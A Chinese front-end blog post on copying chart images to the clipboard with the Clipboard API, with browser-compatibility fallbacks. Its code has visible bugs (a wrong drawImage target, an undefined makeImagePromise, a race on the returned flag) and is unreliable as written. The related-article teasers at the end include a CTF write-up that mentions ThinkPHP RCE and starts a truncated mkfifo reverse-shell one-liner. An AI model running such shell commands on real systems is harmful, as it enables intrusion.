常用函数之js复制图片至剪切板

背景

最近在工作中遇到了一个需求,点击按钮将Echart图复制到剪切板,然后按Ctrl(command)+V可以直接复制到聊天软件&文档编辑器中。本以为这是一个比较简单的需求,好像找了一圈资料,发现事情并不简单,故写下此文记录并分享。

常见方案

比较常见且有效的方案肯定是Clipboard API,不多说,直接上代码(手敲,如错误之处请指正):

const copyToBoard1 = (url: string) => {
    const img = new Image();
    img.src = url;
    img.setAttribute('crossOrigin', 'Anonymous');
    img.onload = () => {
        const width = img.width;
        const height = img.height;
        const newCanvas = document.createElement('canvas');
        const ctx = newCanvas.getContext('2d');
        if(ctx) {
            newCanvas.drawImage(img, width, height);
            newCanvas.toBlob(blob => {
                navigator.clipboard.write([         
                    new ClipboardItem({           
                        'image/png': blob,         
                    }),       
                ]).then(() => {
                    console.log('success');
                }).catch((e) => {
                    console.error(e);
                })
            }, 'image/png')
        }
    }
}

上述函数可以直接用在chrome中,但是存在一些问题:

  • 1、clipboard API 只支持png格式;
  • 2、存在兼容性问题,兼容性如下图:

image.png

从兼容性上来看,clipboard API几乎支持除IE之外的所有浏览器。但是,从我本次经历来看,在Safari浏览器、QQ浏览器上也存在兼容性问题(环境:MAC电脑,其余浏览器未曾测试),Chrome浏览器则无任何问题。

为了解决以上的兼容性问题,最终找到解决方案,不多说,上代码:

const copyToBoard2 = (url: string) => {
    const makeImage = async () => {
        const res = await fetch(url);
        return res.blob();
    }
    navigator.clipboard.write([         
        new ClipboardItem({           
            'image/png': makeImage(),         
        }),       
    ]).then(() => {
        console.log('success');
    }).catch((e) => {
        console.error(e);
    })
}

完整代码

import UAParser from 'ua-parser-js';

const hasCompatibilityNameList = [
    'safari',
    'qqbrowser'
]
const getHasCompatibilityName = () => {
    const parser = new UAParser();
    const res = parser.getResult();
    const name = res?.browser.name.toLowerCase();
    
    return name ? hasCompatibilityNameList.includes(name) : false;
}
const makeImageMethod1 = async (url:string) => {
    try{
        const res = await fetch(url);
        return res.blob();
    } catch {
        return ''
    }
}

const makeImageMethod2 = (url: string) => {  
  return new Promise((resovle) => {  
    const img = new Image();  
    img.src = url;  
    img.setAttribute('crossOrigin', 'anonymous');  
    img.onload = () => {  
      const newCanvas = document.createElement('canvas');  
      newCanvas.width = img.width;  
      newCanvas.height = img.height;  
      const ctx = newCanvas.getContext('2d');  
      if (ctx) {  
        ctx.drawImage(img, 0, 0);  
        newCanvas.toBlob((blob) => {  
          navigator.clipboard  
            .write([  
              new ClipboardItem({  
                'image/png': blob || '',  
              }),  
            ])  
            .then(  
              () => {  
                resovle(true)  
              },  
              () => {  
                resovle(false)  
              }  
            );  
        }, 'image/png');  
      }  
    };  
    img.onerror = () => {  
      resovle(false)  
    };  
  })  
}

export const copyToBoard = async (url: string) => {  
  const isSafariOrQQ = getHasCompatibilityName();  
  let flag = true;
  if (isSafariOrQQ) {  
    navigator.clipboard.write([  
      new ClipboardItem({ 'image/png': makeImagePromise(url) }),  
    ]).then(() => {  
      console.log('复制成功')  
    }).catch(async () => {  
      const res = await makeImageMethod2(url);  
      if (!res) {  
        flag = false  
      }  
    })  
  } else {  
    const res = await makeImageMethod2(url);  
    if (!res) {  
      navigator.clipboard.write([  
        new ClipboardItem({ 'image/png': makeImagePromise(url) }),  
      ]).then(() => {  
        console.log('复制成功')  
      }).catch(() => {  
        flag = false  
      })  
    }  
  }  
  return flag;  
}

最终,选择了2种方案结合的形式:

  • 1、判断当前浏览器环境是否是Safari、QQ

    • 1、失败、异常,则调用方法2;
  • 2、其余环境

    • 1、失败、异常,则调用方法1;
  • 3、方法1、2都失败,则返回false;

抛出false则认为2种函数在当前浏览器环境均不可成功复制。

这里的逻辑就是考虑环境判断不完整,将2个函数都调用一遍,兜底作用。

实测上述方案可以正常在Safari、QQ、Chrome浏览器中正常复制图片到剪切板。

原文

常用函数之js复制图片至剪切板

注:原文也是作者所写。转载请注明出处,谢谢!

参考

JS复制图片到剪切板

如何在Safari中使用剪贴板API将图像写入剪贴板

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/248076.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

java线程的几种状态

一、线程的状态 Java中的线程有以下几种状态: 1. 新建状态(New):当线程对象被创建但还没有被调用start()方法时,线程处于新建状态。 2. 运行状态(Runnable):当线程启动后&#xff0c…

西瓜视频RenderThread引起的闪退问题攻坚历程

背景 影响 西瓜之前存在过一类RenderThread闪退,从堆栈上看,全部都是系统so调用,给人的第一印象像是一个系统bug,无从下手。闪退集中在Android 5~6上,表现为打开直播间立即闪退。该问题在2022年占据Native Crash Top5&…

C++异步网络库workflow系列教程(3)Series串联任务流

往期教程 如果觉得写的可以,请给一个点赞关注支持一下 观看之前请先看,往期的两篇博客教程,否则这篇博客没办法看懂 workFlow c异步网络库编译教程与简介 C异步网络库workflow入门教程(1)HTTP任务 C异步网络库workflow系列教程(2)redis任务 简介 首先,workflow是任务流的意…

『番外篇二』Swift “黑魔法”之动态获取类实例隐藏属性的值

概览 在 Swift 代码的调试中,我们时常惊叹调试器的无所不能:对于大部分“黑盒”类实例的内容,调试器也都能探查的一清二楚。 想要自己在运行时也能轻松找到 Thread 实例“私有”属性的值吗(比如 seqNum)? 在本篇博文中您将学到如下内容: 概览1. 借我,借我,一双慧眼吧…

Dockerfile创建镜像LNMP+WordPress

目录 实验部署 nginx 配置mysql 配置php 实验部署 INMPwordpress nginx 172.111.0.10 docker-nginx mysql 172.111.0.20 docker-mysql php 172.111.0.30 docker-php nginx 关闭防火墙和安全机制在opt目录创建nginx MySQL php目录 cd nginx mysql php vim Dockerfile#声…

rabbitmq-windows安装使用-简易后台界面-修改密码

文章目录 1.下载2.安装3.安装 RabbitMQ4.后台访问5.修改密码 1.下载 将erlang运行时和rabbitmq-windows版本,上传在csdn,下载链接。https://download.csdn.net/download/m0_67316550/88633443 2.安装 右键,以管理员身份运行rabbitmq。启动…

mysql:修改整数字段的显式长度不生效

例如,我使用mysql 8.2.0版本,想修改整数字段的显式长度,不会生效,提醒整数的显示长度已经废弃,会在将来某个版本去掉: mysql官网中也有说明: https://dev.mysql.com/doc/refman/8.2/en/numeric…

【JetBrains】将Gateway中的GoLand回滚到无bug旧版本

问题背景 2023-12-15 我把 Gateway 中使用的 GoLand 从 2023.2.x 升级到了 2023.3 ,然后编辑文件过程中输入时时不时会显示错误信息,然后就会进入无法输入(键入也不会看到增加字符)但能粘贴的奇怪状态。 问题解决 升级到 2023.…

canvas基本绘制对象

目录 绘制画布 设置画布 绘制圆形 绘制矩形填充渐变色 绘制文字及文字样式 绘制画布 <canvas id"canvas" width"800" height"600"></canvas> 设置画布 //获得画布元素var canvasdocument.getElementById(canvas);var ctxca…

Android BluetoothAdapter 使用(二)

Android BluetoothAdapter 使用(二) 本篇文章主要讲下蓝牙设备的配对. 1: 蓝牙设备列表展示 下 面是蓝牙设备adapter的代码: package com.test.bluetooth;import android.bluetooth.BluetoothDevice; import android.content.Context; import android.view.LayoutInflater;…

人工智能多模态:看、听、说,智能感知的全方位融合

导言 人工智能多模态技术是指通过整合视觉、听觉、语言等多个感知模态的信息&#xff0c;实现对丰富、多样化数据的理解与处理。本文将深入研究人工智能多模态的技术原理、应用场景以及对未来感知智能的影响。 1. 简介 人工智能多模态技术通过整合多个感知模态的信息&#xff…

医学检验系统LIS源码,C# +.Net+Oracle

LIS是HIS的一个组成部分&#xff0c;通过与HIS的无缝连接可以共享HIS中的信息资源&#xff0c;使检验科能与门诊部、住院部、财务科和临床科室等全院各部门之间协同工作。  体系结构&#xff1a;Client/Server架构 客户端&#xff1a;WPFWindows Forms 服务端&#xff1a;C…

stm32项目(12)——基于stm32f407zgt6的频率计设计

1.项目功能 配置stm32自带的定时器&#xff0c;以一定的周期产生中断&#xff0c;在中断服务函数里面&#xff0c;对某个IO口进行取反&#xff0c;这样就在该管脚上产生了一定频率的方波&#xff08;频率可以用按键调节&#xff09;。然后再使用stm32的捕获功能&#xff0c;对产…

解决nuxt3环境中css样式失效的问题

现象: 底部播放器进度条拖动按钮没有了&#xff01; 然后通过chrome开发工具检查html元素的结构&#xff1a; 发现progressbar这个元素是存在的&#xff0c;但是为什么没有显示呢&#xff0c;然后回到代码中&#xff1a; 发现原来是组件的名字写错了&#xff0c;多写了一个字母…

安恒明御安全网关 aaa_local_web_preview文件上传漏洞复现

0x01 产品简介 明御安全网关秉持安全可视、简单有效的理念,以资产为视角,构建全流程防御的下一代安全防护体系,并融合传统防火墙、入侵检测、入侵防御系统、防病毒网关、上网行为管控、VPN网关、威胁情报等安全模块于一体的智慧化安全网关。 0x02 漏洞概述 明御安全网关在…

Axure动态面-轮播图案例,多方式登录案例,后台主界面左侧侧边栏案例

一.轮播图案例 二.多方式登录案例 三. 后台主界面左侧侧边栏案例

中国社科院与新加坡新跃社科大联合培养博士—平凡≠平庸

英国文艺评论家赫兹利特说过&#xff0c;书籍深透骨髓&#xff0c;诗随血液回圈。小时候读书的美好感受&#xff0c;至今犹存。书中所言他人之事&#xff0c;更使我们如身临其境。无论何时何地&#xff0c;好书无须倾尽囊中物便可得之&#xff0c;而我们的呼吸也会充满书香之气…

【开源软件】最好的开源软件-2023-第16名 Hypertrace

自我介绍 做一个简单介绍&#xff0c;酒架年近48 &#xff0c;有20多年IT工作经历&#xff0c;目前在一家500强做企业架构&#xff0e;因为工作需要&#xff0c;另外也因为兴趣涉猎比较广&#xff0c;为了自己学习建立了三个博客&#xff0c;分别是【全球IT瞭望】&#xff0c;【…

数据结构(7.5)-- 树扩展之字典树

一、字典树 1、字典树介绍 字典树&#xff0c;也称为“前缀树”&#xff0c;是一种特殊的树状数据结构&#xff0c;对于解决字符串相关问题非常有效。典型 用于统计、排序、和保存大量字符串。所以经常被搜索引擎系统用于文本词频统计。它的优点是&#xff1a; 利用字符串的…

i春秋云镜之Initial

首先拿到目标IP&#xff1a;39.99.156.72 通过Fscan进行扫描发现存在Thinkphp RCE漏洞。 ./fscan_amd64 -h 39.99.156.72然后通过利用工具进行RCE。 我们进行getshell之后通过蚁剑进行连接。 反弹shell并转换成python 交互式shell。 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/b…